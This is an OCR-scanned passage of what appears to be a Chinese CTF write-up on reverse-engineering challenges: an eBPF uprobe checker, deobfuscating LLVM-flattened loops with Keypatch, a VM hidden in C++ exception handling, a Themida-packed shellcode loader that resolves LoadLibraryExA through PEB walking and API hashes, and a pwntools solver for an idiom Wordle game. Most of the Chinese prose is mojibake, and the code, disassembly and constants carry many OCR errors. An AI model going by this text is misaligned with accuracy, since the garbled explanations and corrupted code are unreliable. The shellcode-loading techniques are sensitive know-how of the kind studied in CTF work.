e HifinativeiBiE, KINcheck MENREFHIEMAY, BIFINI_Onload RERAIEHZRIE ML HIH Ell check iR ETHIAL
E

o WmptrcheckiREEEE, KO WEHEH A D A% cheat code. 5HRIHFHITREM TR,

o SiTiNZcheat codef®l, AIUFRAT SjsHXIN base64uﬂ¢ﬁ% HEREBR T SENAESE R #HITINE

o WE5RImRENELE, KIIZEHIRETENL, ERERE, MELIELEDIIZIE, EF o] DURERFZEHIR
FIBM N EED . AT RMapp/EAUDPEILIHRSZERAE.

o DINHIFEEMERE, KRIMEZRFTHMEREERELERIR, FXNEIERERAESHITINE,

LIEEEWT:

struct message {

unsigned int magic; // == "HUFU"
unsigned int typeld; // 0122...2(48)3
unsigned int time; // == time(0)

unsigned int crc; // md5(data)[:4]
unsigned int length; // 17 or 32
unsigned char data[32];

ik

MREHRIREH data=FEg, KR{EMsession keyfIAESEEZR . ESEMAESHBRXRE . jSTHAIXTEARRZRENR] 1S
flag

fpbe

HERdaTAAIUAIE—TEIZRE T libbpf/libbpf-bootstrap #ERIFER, BiEVATEebpfiZFH.,

B Xtebpf2FRIEE T 7 7] S ebpfFr TSR BRI A BIELFXHFAY, AJAER{ERAbinwalkiRz!

> binwalk -e fpbe

DECIMAL HEXADECIMAL DESCRIPTION

0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1
(GNU/Linux)

999448 0xF4018 ELF, 64-bit LSB relocatable, version 1 (SYSV)

fEgithub L AJ#ERIGhidraXtebpfiys 1@ Nalen98/eBPF-for-Ghidra



https://github.com/libbpf/libbpf-bootstrap
https://github.com/Nalen98/eBPF-for-Ghidra

[ XoN ) CodeBrowser: default:/F4018.elf
File Edit Analysis Graph Navigation Search Select Tools Window Help

H &= BREER JIDULFRYB:- @5 oo /REIa@GL0BO0E~ @

| Tree X | ([Hlsting: F... ) [b EBE24 =] - X
[P g [ ¥ @ G Decompile: uprobe - (F4018.elf) % | 2 @-vX
mports ...0118 ADD RO, RS == =
> D Exports ...0200 MoV RS,R4 ‘
v & Functions 0208 MUL RS, 0x7c8e 2 |undefined8 uprobe(longlong param_1)
' 3
Bl FUN_syscall 0006 ...0210 ADD RO, RS sl
» § uprobe ...0218 MoV RS,R1 —
» [ Labels ...0220 MUL RS,0xf23a g :tg:gtg:g e
» [C Classes ...0228 ADD R@,RS 7| undefineds uwvar3;
» () Namespaces ...0230 LDDW RS, 0xb99c485a72 #| inderineds locan A
...0240 INE R0, RS, LBBO_S 5| irderinadE laca) aE:
...0248 STXW [R10 + -Oxc=>1c 10| undefineds voc
...0250 STXW [R10 + -0x10=>1 11| undefineds local 2
-..0258 STXW [R10 + -0x14=>1 47 | Hinderised lacel 28:
...0260 STXW [R10 + -0x18=>1 13| ulonglong ;
...0268 LDDW R1,0xa7d73257bd 1| nongion
.0278  STXOW [R10 + -0x28=>1 he | Lndetised tocal 8:
Filter: 2 ...0280 LDDW R1,0x4648203a47 . T
"'gigg e ;Fg el 17 | wvar2 = *(ulonglong *) (paran_1 + 0x68) & OXFTTfff;
o7) Data Type Manager v X it e [g'_nx Pt 18 | local_18 = *(ulonglong *)(param_1 + 0x70) & Oxffffffff;
- 2- - 0& maz:o L0k R 'éx;e;fina:( 19| local_10 = *(ulonglong *) (param_1 + 0x60) & Oxfffffff;
- e 20 | local 8 = 0;
L% Data Types giig :xw FEYE(ASXZ —oxdp=>Y 21 (ulonglong *)(param_1 + 0x58) & Oxffffffff;
> © BuiltnTypes Todo s [R10 + -0x20=>1 22| ;
» BOF4018.elf T 02d8 oV 81 Ao 23| if ((((uVar2 % Oxfb88 + local_18 * Ox6dcd + local_10 % Ox71fb + uVarl * Oxcc8e == -OxSeBcabbb) &&
» @ generic_clib_64 o%e0 ADD R <oxad 24 (uVar2 * Ox6ae5 + local_18 % Oxflbf + local_10 % Oxadd3 + 1 % 0x9284 = -Oxlaabfccd)) &&
Eie '"0298 oy g ’E‘ 25 (uVar2 * 0x8028 + local_18 % 0xdd85 + local_10 % 0x652d + uVarl * 0xe712 == 0xa67374484da3))
-"02$0 00 Rf' o 26 & (uvar2 * 0xcad3 + local_18 * 0x822¢ + local 10 * @x7cBe + uVarl % Oxf23a == 0xb99c485a7277))
02t MoV Rzlle 271
0 28 ocal_10 | uVarl << 0x20;
N =
...0300 CALL FUN_syscall_ooe b9 ocal 18 | wVar2 << 8x20;
30 xa7d73257b465443;
L8883 31 x464820324741446;
32 x2052554159202145;
...gggg :g‘IIT Ro,R6 33 0 = 0x4e4144204c4cd557;
34 uvar: H
x ” 35 local_20 = 0;
o S:{?:;;ﬁﬂ 36 FUN_syskall_0006(&local_40,0x21,&local_18);
- 37| }
/; ran: 80168 38 return uvar3;
/ 39 3
B e (EGTRSHOBE ) o5 F1o1s.ct
06 [5s [#Fx
Incoming Calls Outgoing Calls
¥ Incoming References - uprobe § Outgoing References - uprobe
@) § FUN_syscall_0006
Filter: 2 IFiIter: 2
@ 00100300 uprobe CALL 0x0006

TR EEERE—RIRET uprobe XIflaghV3iEiB N — MUTIWR S T2AE, #RHTRENE,

more

Loop
opt.cc HE=MBEIAMEMEAIMIE, BRBIAMERRIERTE log XHRICR T —ENBSUHEBIRE.
Pattern 1 - Loop Latch Deletion

BSETFF main Al ATMURIIA DR M TXER" TR < pattern:

.text:00000000004011F0 Toc_4011FO0: ; CODE XREF: ...
.text:00000000004011F0 HE
.text:00000000004011F0 mov eax, 1

.text:00000000004011F5 mov [rbp+var_80], eax
.text:00000000004011F8 jmp $+5

.text:00000000004011FD ; ————-———————— - m -
.text:00000000004011FD

.text:00000000004011FD loc_4011FD: ; CODE XREF:
sub_401160+9817j

.text:00000000004011FD mov eax, [rbp+var_80]
.text:0000000000401200 mov [rbp+var_84], eax
.text:0000000000401206 cmp eax, 40h ; '@’
.text:0000000000401209 jg Toc_401231



https://github.com/Ainevsia/HF2022-vdq-mva-fpbe-static/tree/main/fpbe

EBENHIERENTHIES, MR opt.cc MAIFEFHIRM 7 7EIFE(Loop Latch)EIFAED, KA IZAY
LLVM IR W, log X4, @I ~Joffl:

24: ; preds = %23
%25 = add nsw i32 %.03, 1
br Tabel %11, !Tlvm.Tloop !6

Z Loop Latch MERINEERLREIMITER =M —, REPEEEITENRL., BB PHMET Loop Latch AZa0Lt, H—1
BBIBRIA/N 0x10, B—TEN phi I8<EH (FFEEEN) . FEEFRE log XHELAR —#HIHEHREIXE
FIBTRZI log N MITEIR . & BERIEESCENEIA .

7£ opt.cpp H, Loop Latch & EEHEEMIFR, opt.cpp B EHELM Loop Header RT
unreachable M Loop Latch I TRHTZEMRHB, JR Loop Latch FRIERIBESHERA jmp $+5, HEEBMK
—PEARIR, EFRFK, BLEESE Loop Header HRIERAEIAE ORIAIER Loop Latch, Loop Latch BI/REA
IEREMERSFLEON LS.

WEE#1T Patch BI], DATERHI:

.text:00000000004011F8 loc_4811F0: ; CODE XREF: sub_401168+4Bt
.text :00000000004011F0 ; Sub_40811608:1loc_4011EBT]
.text:00000000004011F0 mov eax, 1

.text :000000000040811F5 mov [rbp+var_88], eax

.text :00000000004011F8 jmp $+5

.£eXt :0000000PBBFOLIFD ; - - - - - === == == == == ===
.text :000000000R4011FD

.text :20000000004011FD lbc_4011FD: ; CODE XREF: sub_401168+981
.text:00000000084011FD ; Ssub_481168+CFlj
.text:00000000004011FD mov eax, [rbp+var_g88]
.text:8000000000401200 mov [rbp+var_84], eax
.text:0000000000401206 cmp eax, 46h ; '@’
.text:00000000004012089 jg loc_481231

.text:8000000000408120F mov eax, [rbp+var_84]

.text :00000000004081215 cdqge

.text:0000000000401217 cmp [rbp+rax+var_58], ©
.text:000000000040121C jnz loc_48122C

.text:00000000004081222 xor eax, eax

.text:8000000000401224 mov [rbp+var_7C], eax
.text:0000000000401227 jmp loc_48123E

.text :000008000B40122C ; - - - - - - -~~~ = ===~ === m .
.text : 000000000040122C

.text :000000000040122C loc_40122C:

.text : 200000000040122C inc [rbp+var_s@]

CODE XREF: sub_481168+BCt
Keypatch modified this fr

e e we e

.text :000000000040122C jmp $+5

.text :200000000040122C Keypatch padded NOP to ne
.text:000000000040122F jmp short loc_4@11FD ; Keypatch medified this f
.text:000000000040122F H nop
.text:000000000040122F H nop

. text :000000000040123] ; ---------==------ - emmemeemmeemesmmesmesemee-e—--ee-—==-
.text : 0000000000401231
.text :0000000000401231 loc_401231: ; CODE XREF: sub_4@1160+A91




Pattern 2 - Loop Header Invalidation

i Pattern RS R—EIFAIE.

SRR EIRMONRIBIME—RETEMIT, FEE Loop Header REMKIELHEM T Pattern Bf, Loop
Header BRIRMIMESWIRRM — TR MHkEE O T BBBIMIOBRR, SEFRdER T RMT if(true)

{}else{} XHEFMDZBEL) . opt.cpp HXBAABAT:

using namespace PatternMatch;
ICmpInst: :Predicate Pred;

*LHS, *RHS;

BasicBlock *IfTrue, *IfFalse;

auto *Term = Header->getTerminator();

value

if (match(Term, m_Br(m_ICmp(Pred, m_value(LHS), m_value(RHS)),
m_BasicBlock(IfTrue), m_BasicBlock(IfFalse))))

{
BasicBlock *Target, *FalseTarget;
for (auto *ExitBlk : ExitBlocks)
{
if (ExitBlk == IfTrue)
{
Target = IfTrue;
FalseTarget = IfFalse;
break;
}
else if (ExitBlk == IfFalse)
{
Target = IfFalse;
FalseTarget = IfTrue;
break;
3
}

Header->getTerminator()->eraseFromParent();

Header->back() .eraseFromParent();

BranchInst::Create(Target, FalseTarget, ConstantInt::getTrue(Header->getContext()),

Header) ;
outs() << (Target == IfTrue) << "\n";
}
TOEHIHR RS R AYAS -
.text:000000000040150C mov
.text:000000000040150E test
.text:0000000000401510 jnz

ZEA A log F58:

al, 1
al, 1
loc_40161C



77: ; preds
%.3 = phi i32 [ %74, %70 1, [ %.2, %67 ]
br Tabel %13, !Tlvm.Tloop !4

%70, %67

13: ; preds
%.02 = phi i32 [ 0, %12 1, [ %35, %77 1]
%.01 = phi i32 [ 0, %12 1, [ %.3, %77 1]
%14 = sext 132 %.02 to i64
%15 = icmp ult i64 %14, %1
br i1 %15, label %16, label %78

%l7, %12

BRBERAk, icmp BULEBRNERRAAEES %1 . ZREERITSY, 1 SaNFEHEEZNS
#, Target == 1fTrue %t 0, WHASEPR jnz KIBHRN IfFalse, FB IfTrue FEHbit EIFRAIESIR, E
LE B M LAYEER:

.text:0000000000401501

.text:20000000004081501 loc_481501: ; CODE XREF: sub_4814A8+5Ct
.text:2000000000401501 mov eax, [rbp+var_2C]

.text:2000000000401504 mov ecx, eax

.text:00000000004081506 mov [rbp+var_34], ecx

.text:800000000804081509 mov [rbp+var_38], eax

.text :2000008000040150C cmp eax, dword ptr [rbp+var_8] ; Keypatch modif
.text:000000000084081506C B mov al, 1
.text:200000000040150C B test al, 1
.text:200000000084081506C ;3 Keypatch padded NOP to ne
.text:200000000040150F nop

.text :0000000000401510 jge loc_48161C ; Keypatch modified this fr
.text :2000000000401510 B jnz loc_48161C

BT phi =R, PTHMEFR—THE [rbp+var_2c] , BIERRITEEE, Z—THRMMAT mov ecx, eax
(ABRRRNERBF—RIERT, MENERIANSERDN) . MRIEX, ZBEEFNIIEEENT
base64decode, fEHITHIZRRSHBEFTRIMIVE MK, BNBFETMEFRBENETXEHIE, RNBFIEDNG LAY
BE, BUEZD phi ERE2EMEARNENTAR, AT TPatch,



.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text

1 000000ERRR4014FT
1 00000000004014F7
1 00000000004014F9
1 80000000004014FC
1 00000000004014FC
1 00000000004014FC
100000000040 14FE
1 000000BBBRA014AFF
1 0000000000401500
1 0000000000401501
1 0000000000401501
1 0000000000401501
1 0000000000401504
1 0000000000401504
1 0000000000401506
1 0000000000401509
1 8000000800040150C
1 800000000040150C
1 000000000040150C
1 800000000040150C
1 000000000040150F
:0000000000401510
1 0000000000401510
1 0000000000401510
:0000000000401510

loc_4814F7:

loc_481501:

xor
mov
xor

nop
nop
nop

mov
mov

mov
mov
cmp

nop
jge

; CODE XREF: sub_4014A@+467

eax, eax
[rbp+var_2C], eax
esi, esi ; Keypatch modified this fr

3 Jmp 345
;3 Keypatch padded NOP tc ne

; CODE XREF: sub_4814A0+180@
eax, [rbp+var_2(C]
ecx, esi ;3 Keypatch modified this fr
H mov ecx, eax
[rbp+var_34], ecx
[rbp+var_38], eax
eax, dword ptr [rbp+var_8] ; Keypatch modif
H mov al, 1
: test al, 1
; Keypatch padded NOP tc ne
loc_401629 ; Keypatch modified this fr
B jnz loc_48161C
;3 Keypatch modified this fr
B jge loc_48161C

NF51E Patch Loop Latch &2, XEBRBHEOBER T —1TEAR, REARREATH, BE Patch B Loop
Latch, Loop Latch 49 Patch #407F:



.text:800000000040161C loc_48161C: ; CODE XREF: sub_40814A8+158
.text :000000000040161C add [rbp+var_2C], I ; Keypatch modified this fr
.text:0000000000408161C H mov rax, [rbp+var_208]
.text :0000000000401620 jmp loc_40158e1 ; Keypatch modified this fr
.text:0000000000401620 H mov [rbp+var_18], rax
.text :0000000000401620 5 jmp $+5
.text:80000000004016208 ;3 Keypatch padded NOP tc ne
.text :0000000000401620 ; -------=-=-===-===============2===============================-=
.text :0000000000401625 db 4 dup(298h)
. text :0000000000401629 ; ----------------c-ceeeccccecccccecececececcceeec e e e e
.text:20000000004081629
.text:8000000000401629 loc_4081629: ; CODE XREF: sub_40814A8+241
.text :2000000000401629 ; Ssub_4814A8+521]
.text:00000000004081629 mov rax, [rbp+var_20] ; Keypatch modified this
.text:2000000000401629 H mov rax, [rbp+var_18]
.text:2000000000408162D add rsp, 56h

.text:2000000000401631 pop rbp

.text:20000000004081632 retn

LASEIRITBIA
® 17| vie = malloc(vQ);
18| if ( tvie )
® 19 return v18;
® 28 v = 0;
o 21 w2 = 8;
® 22| while (1) |

23| {
® 24 v7 o= v2;
® 25 if ((vd >= vil)
® 26 break;
® 27 2 = *(un51gned _intgd #)(al + vd) - 1;
® 28 v = v2

29 + ((*(unsigned __int8 *)(al + v8 + 1) - 1) << 6)

30 + ((*(unsigned __int8 *)(al + v8 + 2) - 1) << 12)

31 + ((*(unsigned __intd *)(al + v8 + 3) - 1) << 18);
® 32 Ve = v7;
® 33 if (w7 < vo)

34
® 35 LOBYTE(v2) = (v:

36 + ((*(unsigned __int8 *)(al + v8 + 1) - 1) << 6)

37 + ((*(unsigned __int8 *)(al + v8 + 2) - 1) << 12)

38 + (((unsigned int)*(unsigned _ int& *)(al + vd + 3) - 1) << 18)) >> 16;
® 39 v1@[v7] = BYTE2(vS);
® 40 ve = v7 + 1;

41 }
® 42 vd = uBj
® 43 if ((vEe < va )

44 {
® 45 LOBYTE(v2) = BYTEL(v5);
® 46 v18[vE] = BYTEL(vS);
® 47 vd = ve + 1;

48 }
® 49 if (va < o)

58 {
® 51 v2 o= v o+ 1;
®s2 vie[va] = v5;

53
® 54 Ve += 4;

55 3
@ 56| return v1@;

il



Pattern 3
X—EotERER, RERABN T RALERNEEE, B icmp IESHEE.
RIE log, HE=4MEKR., BHFRIEEBENERFHIE, EfD3E:

// B4 B 4 FE patch B 64 (iRiE log, +60)

.text:0000000000401177 cmp eax, 4
// Bhb: XEBR 7 FE patch B 64 (1R#E Tog, +57)
.text:000000000040165F cmp eax, 7
// B=4: XEBR 1 FE patch B 48 (IRYE log, +47)
.text:00000000004016EB cmp rax, 1

R, BEDANBEHRELERSN—G, 87T Pattern 1, FilAHE Loop Latch thigfifg, E_EEERIA,

Puzzle
ARBEREEZE, BEEIEABA, BREKRBE—REER T, REERQBV—RES R, XEEK
HE— M5 TR,

EB# Stable_roommates_problem & B TR BKEI—1 Java ENREZER QIR LSS Java: A constraint
programming model to find all stable matchings in the roommates problem with incomplete lists is
available under the CRAPL licence.

FIRZ KRR ARG =A%, HPE_HBIRFER.

Ambitious Catches

A GNUC+H+ S E LB FIFRE T —1 VM BISEH, BIBAS 2 https://itanium-cxx-abi.github.io/cxx-abi/a
bi-eh.html| T ## GNUC++ S AMBRYELAHLE],

REELBEEE main BEFLME— biLFw BEEXREB&Ivm, £ __gxx_personality_v0/scan_eh_tab B
#]A, XABFEEFRBRFE, BEIES LSDA (LanguageSpecificData) #IREHIARAEN libc++abi {UR3, #~
RTIR Try IRIFFRTEEE DR,

// Init VM Context
bool ICatchIt = false;
static uint8_t baklen[0x10], sz = 0;
static uint8_t *baklenptr;
// Check thrown exception type
if (typeid(*(std::exception *)adjustedPtr) == typeid(U2BYG)) {
baklenptr = lenptr;
sz = endlenptr - Tenptr;
memcpy (baklen, baklenptr, sz);
mprotect((void *) (Cuintptr_t)lenptr & (~0xfff)), 0x1000,
PROT_READ | PROT_WRITE);
ZeroPointer(&lenptr, callSiteEncoding);
mprotect((void *) ((uintptr_t)lenptr & (~0xfff)), 0x1000,
PROT_READ) ;


http://www.dcs.gla.ac.uk/~pat/roommates/distribution/
https://itanium-cxx-abi.github.io/cxx-abi/abi-eh.html

iSoEr->Init(actionRecord, classInfo, ttypeEncoding);
ttypeIndex = iSoEr->Next(1l);
ICatchIit = true;

MNFELE (BFENE]) WSEEDKMIE, scan_eh_tab FETEB VM B Next &, #3RX VM #1T,

VM 1R1EEF Next F/EREISE, UNKHBIR Opcode (BANNZERZ N IZHETE code XEH), RTE F—5KIELH
fit, Next AENSHE=MAIEE, 25N 0/1/2 , PHIFELE VM, IEEBRITF—FIES. BTk
3 scan_eh_tab EH VM Next AENSEHEBEMENSEERRE,

if (typeid(*(std::exception *)adjustedPtr) == typeid(rcsmr)) {
ttypeIndex = iSoEr->Next(1l);
ICatchIit = true;

}

if (typeid(*(std::exception *)adjustedPtr) == typeid(bzroQ)) {
ttypeIndex = iSoEr->Next(2);
ICatchIt = true;

XZZBITHIT 0 5 opcode, HIH bILFw FEZER VM, scan_eh_tab B3R biLFw HIRE LSDA BRSNS

d Ao

o

if (typeid(*(std::exception *)adjustedPtr) == typeid(bJILFw)) {

mprotect((void *) ((uintptr_t)Tlenptr & (~0xfff)), 0x1000,
PROT_READ | PROT_WRITE);

memcpy (bakTlenptr, baklen, sz);

mprotect((void *) ((uintptr_t)lenptr & (~0xfff)), 0x1000,
PROT_READ) ;

iSoEr->Init(actionRecord, classinfo, ttypeEncoding);

ttypeIndex = iSoEr->Next(0);

ICatchIt = true;

VM #J4aft. gt OPCode FHAZUNT:

hp3LT1::hp3LT(const char *fn) : ip_(1), flag_init_(false) {
FILE *fp = fopen(fn, "rb");
if (1 fp)
throw "Code NOT FOUND";
fseek(fp, 0, SEEK_END);
size_t ROM_SIZE = ftell(fp);
rom_.reset(new uint8_t[ROM_SIZE]);
fseek(fp, 0, SEEK_SET);
fread((void *)rom_.get(), 1, ROM_SIZE, fp);
ram_.reset(new uint8_t[DEFAULT_RAM_SIZE]);



hp3LT::~hp3LTO {}

uint8_t hp3L1::AdvanceRom() {
uint8_t r = rom_[ip_ - 1] A rom_[ip_];

ip_++;

return r;

void hp3L1::Init(uint8_t *action_entry, const uint8_t *classInfo,

uint8_t ttypeEncoding) {

uint8_t *action = action_entry;
int64_t actionoffset;

do {

// Parse Action Table and Build an Easy-to-use Map
intb4_t ttypeIndex = readSLEB128(const_cast<const uint8_t
const std::type_info *ty =
get_type_info(ttypeIndex, classInfo, ttypeEncoding);
ty_action_[ty] = ttypeIndex;
const uint8_t *temp = action;
actionoffset = readSLEB128(&temp);
action += actionoffset;
} while (actionoffset != 0);

int64_t hp3LT::Next(int next) {
uint8_t nxtty, op;
const std::type_info *info;
if (next == 0)
return ty_action_[OPLST[12]];
if (next > 1)
nxs_[next - 2];

ip_ =

nxs_.resize(0);

op = AdvanceRom();

info = OPLST[op];

nxtty = ty_action_[info];

if (IMP_OPLST.find(info) != JMP_OPLST.end()) {

srcl_
src2_

&regs_[AdvanceRom()];
&regs_[AdvanceRom()];

uint8_t tmp = AdvanceRom();

nxs_.push_back(tmp + (AdvanceRom() << 8));

}

if (THRAC_OPLST.find(info) != THRAC_OPLST.end()) {
dst_ = &regs_[AdvanceRom()];

srcl_
src2_

&regs_[AdvanceRom()];
&regs_[AdvanceRom()];

**>(&action));



if (TWOAC_OPLST.find(info) != TWOAC_OPLST.end()) {
dst_ = &regs_[AdvanceRom()];
srcl_ = &regs_[AdvanceRom()];

}

if (OneAC_OPLST.find(info) != oOoneAC_OPLST.end()) {
dst_ = &regs_[AdvanceRom()];

}

if (info == LoadImm8_OP(TYPEID)) {
dst_ = &regs_[AdvanceRom()];
*dst_ = AdvanceRom();

3

if (info == Puts_OP(TYPEID)) {
srcl_ = &regs_[AdvanceRom()];

}

// printf("nxtty: %l1d\n", nxtty);

return nxtty;

std: :unique_ptr<hp3L1l> iSoEr(std: :make_unique<hp3L1>("code"));

VM Next FiERRISSILA] AR VM B93Z 8% (Controller), T main REHFED Catch SRR Al AB1E £0
IBEEE (DataPath) , B> Opcode B DataPath E3FEi(a) srcl. src2. dst BAK ram g9ELE O3S, E
HIESABIEE, THRs Ak, HBY r12. r13. ri4. ri15 XOMEBARERIPFSERED, SEHRER
¥ __gxx_personality_v0/set_registers REAXI,

static void set_registers(_Unwind_Exception *unwind_exception,
_Unwind_Context *context,
const scan_results &results) {
#if defined(__USING_SJILJI_EXCEPTIONS_ )
#define __builtin_eh_return_data_regno(regno) regno
#endif
_Unwind_SetGR(context, __builtin_eh_return_data_regno(0),
reinterpret_cast<uintptr_t>(unwind_exception));
_Unwind_SetGR(context, __builtin_eh_return_data_regno(1l),
static_cast<uintptr_t>(results.ttypeIndex));
_Unwind_SetGR(context, 12, static_cast<uintptr_t>((uintptr_t)iSoEr->dst_));
_Unwind_SetGR(context, 13, static_cast<uintptr_t>((uintptr_t)iSoEr->srcl_));
_Unwind_SetGR(context, 14, static_cast<uintptr_t>((uintptr_t)iSoEr->src2_));
_Unwind_SsetGR(context, 15,
static_cast<uintptr_t>((uintptr_t)iSoEr->ram_.get()));
_Unwind_SetIP(context, results.landingPad);

code X4 Opcode NEERNENRWEFHNE—TwLITSHESNEIEN FLAG, OB AHEEN:



const size_t GFMOD = 0x19f;

const size_t FLAG_SZ = 48;

typedef GF2N<uint8_t, 8, GFMOD> MyGF2;

typedef Eigen::Matrix<MyGF2, FLAG_SZ, FLAG_SZ> GMatrix;

typedef Eigen::Matrix<MyGF2, FLAG_SZ, 1> GColvec;

typedef Eigen::Matrix<MyGF2, 1, FLAG_SZ> GRowVec;

GMatrix V = GMatrix::Random(), K = GMatrix::Random(), Q = GMatrix::Random();

GColvec I;

for (int i = 0; i1 < FLAG_SZ; i++)
I(i, 0) = FLAG[i];

GColvec C =V * I * I.transpose() * K.transpose() * Q * I;

assert(C == [
0x60, 0xa9, Ox7a, 0x21, Oxbl, Oxe2, Oxb7, 0x66, Oxle, Oxec, Ox5f, 0x26,
Ox6e, Oxdl, 0xd0, Ox6e, Oxb7, Oxe9, 0x35, Oxe0, 0x57, 0x27, Oxae, 0x27,
0x9d, Oxa0, Ox12, O0x13, Ox8c, 0x43, Ox4a, 0x99, 0x37, Oxcf, O0xOb, 0x28,
Oxel, Oxdd, Ox2c, 0x03, Ox7c, Oxa7, Ox4b, 0x55, Ox6d, Oxdd, Ox4b, Oxe9,

D;

S¥E% 1.transpose() * K.transpose() * Q * I WERE— GF(2%) LMITE, &N a., REHE
Vi« C, AEIEH a BIF],

MTHEEIRHR:
1. GMatrix FTEN 1 0x19f 8 GF(28) I EE, SEEEL MINERMRERRRE;
2. V. K. Q BEUERZMRENERN (RATRICHELD) .

char Eigen::internal::random_default_impl<GF2N<unsigned
char,8ul,415ul>, false, true>::run()

{
int v0; // eax
char v2[8]; // [rsp+8h] [rbp-8h] BYREF

vO0 = rand();
GF2N<unsigned char,8ul,415ul>::GF2N(v2, (unsigned __int8) (v0 >> 23));
return v2[0];

(AN E A F#E init_array HRY init RYHIRE:

void __attribute__((constructor)) init() {
int seed = time(0) >> 4;
srand(seed) ;

ERFTEEETHENT16sHTEIA, X1 check i2F7 ER EMRAVEIL .. BXREIB SR code XHH, X
MIEREMZ code XHEMBIMIEIEL, SNEETIRK LT ERIFRNERDAESEERER.



the_shellcode

Themida %, BRFEAIREG: FREMABIER; i517/E dump A7E; @175 attach; Scylla EERRIEIREFER.

E—ERIMAZT base64s 715, fEAARS 3 (i, xxtea IIE (BE ST 6) /&, MEAXLLE, FRINELIRKED
E.I-O

5% shellcode 5, FIIEREREFZERL, WAIXE2E— shellcode loader Kiid. shellcode KEEER
BEANSEREBEANN 32 (eEaA 25, @id PEB -> PEB_LDR_DATA -> InMemoryOrderModuleList

BHEIR, HEBTEROSHER, % hash (BRE) +hash (RER) == 0x726774C, NMHE M, TRRMERAS
WAFEEXAZIBE, BIETHRUETENIR, SEIRER LoadLibraryExA,

[R4EEX DOS FRABFFF& (dllbase + 0x50) iTEIRH, REFHWANFFETEERER LoadLibraryExA &
R 5 ITERS, (ERMIRAE, MRHEE—1F, PSR LERZ strncmp,

MISC
handle

R 2 BIPE F RN EER] wordle BZAR T 1EARZS N5, HEH# TQLCTF B9 wordle B¥, BT &MEFESERICHNEX
HAEERE 4 BlF, TETHRER —THEBENIESK—RE , EEMEEM https://github.com/antfu/handle B3k
kT, TG,

XELABBRAEIRERE, 8F—MdE, RESTHUNCEBERERE THAEE (REFE/RERIBRA
BERNH—R) . BEE-MIZEMRARTHL-HMERT . WREMEAEMPREAIEFNIE, KEBoRHEER
T 3HE 4EE, BENANEREI S+, SZBEMNMA—TEEEE, WRED 3818 9 wordle 157, =
HHMNE, HMRIERICHE, SRELERERANIFENF, BE&KY) 2w+ MR RFEXIE, (ReIkE
EE—NEEKIFAN, IEREELF (HEBFELE) 19, BINETKBRFIFEDNTCE, FIMAECRERIENR
(JRhRth 23X FEY)

HERABIBANT, ERIEHHMEET https:/github.com/GillesVandewiele/Wordle-Bot

from pwn import *

from pypinyin import Tazy_pinyin, Style
from itertools import chain

from scipy.stats import entropy

from enum import Enum

from tgdm import tqdm

# context.log_level = 'debug'

class wildcard:
def __eq__(self, 0):
return True

class status(Enum):
OK =0
MISS = 1


https://github.com/antfu/handle
https://github.com/GillesVandewiele/Wordle-Bot

def

def check_part(guess, answer):
answer_chars = []
for i in range(4):
if guess[i] != answer[i]:
answer_chars.append(answer[i])
result = []
for i in range(4):
if guess[i] == "'':
result.append(status.EMPTY)
elif guess[i] == answer[i]:
result.append(status.OK)
elif guess[i] in answer_chars:
result.append(status.MISS)
answer_chars.remove(guess[i])
else:
result.append(status.WRONG)
return result
def filter_idioms(guess, stats, remaining):
res = []
for answer in remaining:
if check_part(guess, answer) != stats[3]:
continue
if all(check_part(pinyins[guess][i], pinyins[answer][i])
range(3)):
res.append(answer)
return res
def generate_pattern_dict(valid_words, allowed_guesses):

2
wildcard()

WRONG
EMPTY

get_pinyin(guess):

initials = lazy_pinyin(guess, style=Style.INITIALS, strict=False)
finals_and_tones = lazy_pinyin(guess, style=Style.FINALS_TONE3, strict=False,
neutral_tone_with_five=True)

finals = [x[:-1] for x in finals_and_tones]
tones = [x[-1].strip('5") for x in finals_and_tones]
return initials, finals, tones

of candidate words

>>> pattern_dict = generate_pattern_dict(['weary', 'bears',

>>> pattern_dict['crane'][(2, 2, 2, 2, 2)]
{'crane'}

== stats[i] for i in

For each word and possible information returned, store a list

'crane'])



>>> sorted(pattern_dict['crane'][(0, 1, 2, 0, 1D])

['bears', 'weary']

pattern_dict = defaultdict(lambda: defaultdict(set))

for word in (allowed_guesses):

for word2 in valid_words:

pattern = tuple(chain(*Tocal_check(word, word2)))
pattern_dict[word] [pattern].add(word2)

return dict(pattern_dict)

def calculate_entropies(remaining, possible_words):

Calculate the entropy for every word in "words , taking into account
the remaining "possible_words """
entropies = {}
pattern_dict = generate_pattern_dict(remaining, possible_words)
for word in remaining:
counts = []
for pattern in pattern_dict[word]:
matches = pattern_dict[word] [pattern]
matches = matches.intersection(possible_words)
counts.append(len(matches))
entropies[word] = entropy(counts)

return entropies

def remote_check(guess):
CYAN = '\033[0;36m'
BROWN = '\033[0;33m'
NC = "\033[Om'
stats = [[1, [1, [1, [1]
io.sendlineafter(b'> ', guess.encode())
py = pinyins[guess]
pyres = io.recvline().decode().strip().split()
for i in range(4):
for j in range(3):
if py[JI[i] ==
stats[j].append(status.EMPTY)
elif CYAN + py[jI[i] + NC in pyres[i]:
stats[j].append(status.OK)
elif BROWN + py[jI[i] + NC in pyres[i]:
stats[j].append(status.MISS)
else:
stats[j].append(status.WRONG)
word = io.recvline().decode().strip(Q
for i in range(4):
if word.startswith(CYAN):
stats[3].append(status.OK)
word = word[1en(CYAN) + 1 + Ten(NC):]

vy,



elif word.startswith(BROWN) :
stats[3].append(status.MISS)
word = word[Ten(BROWN) + 1 + Tlen(NC):]
else:
stats[3].append(status.WRONG)
word = word[1:]
return stats

def Tocal_check(guess, answer):
stats = [check_part(pinyins[guess][i], pinyins[answer][i]) for i in range(3)]
stats.append(check_part(guess, answer))
return stats

with open('idioms.txt', 'r') as f:
idioms = [x.strip() for x in f.readlines()]

pinyins = {} # AILA pickle EEF—T

for idiom in tqgdm(idioms):
initials, finals, tones = get_pinyin(idiom)
pinyins[idiom] = (initials, finals, tones)

total_try = 0

i0 = process('./run.py')

for i in range(512):
print(f'Round {i+1}")
remaining = idioms[:]
for x in range(l, 5):

print(len(remaining), end=' ')
if x ==
guess = '—ARZi0"  # BEEFEIEN

pinyins[guess] = get_pinyin(guess)
else:
entropies = calculate_entropies(remaining, remaining)
guess = max(entropies.items(), key=lambda x: x[1])[0]
stats = remote_check(guess)
if set(stats[-1]) == {status.OK}:
print(x)
total_try += Xx
break
remaining = filter_idioms(guess, stats, remaining)
else:
assert 0O
print(f'average try: {total_try / 512}')
io.interactive()



